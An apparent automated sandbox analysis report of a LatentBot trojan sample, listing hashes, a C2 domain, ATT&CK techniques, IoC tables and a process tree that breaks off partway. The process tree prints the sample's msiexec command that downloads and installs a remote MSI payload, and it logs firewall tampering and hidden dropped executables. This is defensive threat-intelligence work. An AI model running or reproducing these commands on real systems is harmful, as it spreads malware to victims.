latentbot | 99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26-09-2024 11:01

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General

Target

99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Size

3.9MB
MD5

09e3aa460dbf9cddbb402354cb854ced
SHA1

e27bf77f6cf806e1c841fc487872d9f5f75a75f7
SHA256

99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b
SHA512

5521bdd944d58a9cf524959598fac97f810090d2f934afdb00809a75c46c163e053b0d092f955805d0be150ecbb137c1814f92c5f1887bf45ad9ee17f67dfa6c
SSDEEP

98304:7tlEb9+zykLmOCYNW/WrHwOnvE8sJXcMv5ezs2rEPqYxLI:7tSb9+zykLmxd/cHwOkp7jI

Score

10^/10

latentbot discovery evasion persistence privilege_escalation trojan

Malware Config

Extracted

Family

latentbot

besthard2024.zapto.org

Signatures

LatentBot
Modular trojan written in Delphi which has been in-the-wild since 2013.
trojan latentbot

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
884	netsh.exe
1904	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe

Executes dropped EXE 4 IoCs

pid	Process
1340	MSIE3AF.tmp
4400	PrintDrivers.exe
1928	PrintDriver.exe
2528	PrintDrivers.exe

Loads dropped DLL 8 IoCs

pid	Process
1828	MsiExec.exe
1828	MsiExec.exe
1828	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe
2176	MsiExec.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2140	msiexec.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	2140	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\S:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\Q:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\U:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\X:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\B:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\P:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\K:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\J:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\M:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\W:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\G:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\A:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\T:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\R:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\Y:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIE10D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE1E9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE3AF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDF44.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE030.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE09F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID7D2.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDFE1.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PrintDrivers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PrintDrivers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIE3AF.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 10 IoCs

evasion

pid	Process
3004	timeout.exe
2372	timeout.exe
3504	timeout.exe
3992	timeout.exe
4440	timeout.exe
4084	timeout.exe
1564	timeout.exe
2072	timeout.exe
2272	timeout.exe
3764	timeout.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Kills process with taskkill 3 IoCs

evasion

pid	Process
4324	taskkill.exe
3860	taskkill.exe
2488	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
916	msiexec.exe
916	msiexec.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe
4400	PrintDrivers.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	916	msiexec.exe
Token: SeCreateTokenPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeAssignPrimaryTokenPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeLockMemoryPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeIncreaseQuotaPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeMachineAccountPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeTcbPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSecurityPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeTakeOwnershipPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeLoadDriverPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSystemProfilePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSystemtimePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeProfSingleProcessPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeIncBasePriorityPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreatePagefilePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreatePermanentPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeBackupPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeRestorePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeShutdownPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeDebugPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeAuditPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSystemEnvironmentPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeChangeNotifyPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeRemoteShutdownPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeUndockPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSyncAgentPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeEnableDelegationPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeManageVolumePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeImpersonatePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreateGlobalPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreateTokenPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeAssignPrimaryTokenPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeLockMemoryPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeIncreaseQuotaPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeMachineAccountPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeTcbPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSecurityPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeTakeOwnershipPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeLoadDriverPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSystemProfilePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSystemtimePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeProfSingleProcessPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeIncBasePriorityPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreatePagefilePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreatePermanentPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeBackupPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeRestorePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeShutdownPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeDebugPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeAuditPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSystemEnvironmentPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeChangeNotifyPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeRemoteShutdownPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeUndockPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeSyncAgentPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeEnableDelegationPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeManageVolumePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeImpersonatePrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreateGlobalPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeCreateTokenPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeAssignPrimaryTokenPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeLockMemoryPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeIncreaseQuotaPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
Token: SeMachineAccountPrivilege	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2140	msiexec.exe
2140	msiexec.exe
1928	PrintDriver.exe
1928	PrintDriver.exe
1928	PrintDriver.exe
1928	PrintDriver.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1928	PrintDriver.exe
1928	PrintDriver.exe
1928	PrintDriver.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 1828	916	msiexec.exe	84
PID 916 wrote to memory of 1828	916	msiexec.exe	84
PID 916 wrote to memory of 1828	916	msiexec.exe	84
PID 3108 wrote to memory of 2140	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe	85
PID 3108 wrote to memory of 2140	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe	85
PID 3108 wrote to memory of 2140	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe	85
PID 916 wrote to memory of 2176	916	msiexec.exe	86
PID 916 wrote to memory of 2176	916	msiexec.exe	86
PID 916 wrote to memory of 2176	916	msiexec.exe	86
PID 916 wrote to memory of 1340	916	msiexec.exe	87
PID 916 wrote to memory of 1340	916	msiexec.exe	87
PID 916 wrote to memory of 1340	916	msiexec.exe	87
PID 3108 wrote to memory of 4776	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe	91
PID 3108 wrote to memory of 4776	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe	91
PID 3108 wrote to memory of 4776	3108	99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe	91
PID 3648 wrote to memory of 968	3648	cmd.exe	93
PID 3648 wrote to memory of 968	3648	cmd.exe	93
PID 4776 wrote to memory of 4720	4776	cmd.exe	94
PID 4776 wrote to memory of 4720	4776	cmd.exe	94
PID 4776 wrote to memory of 4720	4776	cmd.exe	94
PID 3648 wrote to memory of 2272	3648	cmd.exe	95
PID 3648 wrote to memory of 2272	3648	cmd.exe	95
PID 3648 wrote to memory of 1576	3648	cmd.exe	96
PID 3648 wrote to memory of 1576	3648	cmd.exe	96
PID 1576 wrote to memory of 4760	1576	cmd.exe	97
PID 1576 wrote to memory of 4760	1576	cmd.exe	97
PID 3648 wrote to memory of 3984	3648	cmd.exe	98
PID 3648 wrote to memory of 3984	3648	cmd.exe	98
PID 3648 wrote to memory of 3600	3648	cmd.exe	99
PID 3648 wrote to memory of 3600	3648	cmd.exe	99
PID 4776 wrote to memory of 1692	4776	cmd.exe	101
PID 4776 wrote to memory of 1692	4776	cmd.exe	101
PID 4776 wrote to memory of 1692	4776	cmd.exe	101
PID 4776 wrote to memory of 2252	4776	cmd.exe	102
PID 4776 wrote to memory of 2252	4776	cmd.exe	102
PID 4776 wrote to memory of 2252	4776	cmd.exe	102
PID 4776 wrote to memory of 4528	4776	cmd.exe	103
PID 4776 wrote to memory of 4528	4776	cmd.exe	103
PID 4776 wrote to memory of 4528	4776	cmd.exe	103
PID 3648 wrote to memory of 1944	3648	cmd.exe	107
PID 3648 wrote to memory of 1944	3648	cmd.exe	107
PID 3648 wrote to memory of 5040	3648	cmd.exe	108
PID 3648 wrote to memory of 5040	3648	cmd.exe	108
PID 5040 wrote to memory of 3624	5040	cmd.exe	109
PID 5040 wrote to memory of 3624	5040	cmd.exe	109
PID 5040 wrote to memory of 884	5040	cmd.exe	110
PID 5040 wrote to memory of 884	5040	cmd.exe	110
PID 5040 wrote to memory of 1904	5040	cmd.exe	111
PID 5040 wrote to memory of 1904	5040	cmd.exe	111
PID 5040 wrote to memory of 1348	5040	cmd.exe	112
PID 5040 wrote to memory of 1348	5040	cmd.exe	112
PID 5040 wrote to memory of 1592	5040	cmd.exe	113
PID 5040 wrote to memory of 1592	5040	cmd.exe	113
PID 5040 wrote to memory of 1928	5040	cmd.exe	114
PID 5040 wrote to memory of 1928	5040	cmd.exe	114
PID 3648 wrote to memory of 3004	3648	cmd.exe	115
PID 3648 wrote to memory of 3004	3648	cmd.exe	115
PID 3648 wrote to memory of 4324	3648	cmd.exe	117
PID 3648 wrote to memory of 4324	3648	cmd.exe	117
PID 3648 wrote to memory of 2372	3648	cmd.exe	118
PID 3648 wrote to memory of 2372	3648	cmd.exe	118
PID 3648 wrote to memory of 3860	3648	cmd.exe	119
PID 3648 wrote to memory of 3860	3648	cmd.exe	119
PID 3648 wrote to memory of 4084	3648	cmd.exe	120

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1692	attrib.exe
4720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe
"C:\Users\Admin\AppData\Local\Temp\99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe"
1⤵
- Checks computer location settings
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3108
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i https://www.walteryhu.site/PrintViewer.msi AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1727107861 "
  2⤵
  - Use of msiexec (install) with remote resource
  - Blocklisted process makes network request
  - Enumerates connected drives
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:2140
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEE4A8.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\SysWOW64\attrib.exe
    C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\AIEC776.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4720
- - C:\Windows\SysWOW64\attrib.exe
    C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEE4A8.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEE4A8.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" cls"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4528

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F44A2F3EBC5640889F5997980F52CF6D C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1828
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 55B161F3F64D38E98F609604C9080D9F
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2176
- C:\Windows\Installer\MSIE3AF.tmp
  "C:\Windows\Installer\MSIE3AF.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1340

C:\Games\PrintDrivers.exe
"C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Games\PrintDrivers.cmd" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3648
- C:\Windows\system32\mode.com
  Mode 90,20
  2⤵
  PID:968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
  2⤵
  PID:2272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\system32\reg.exe
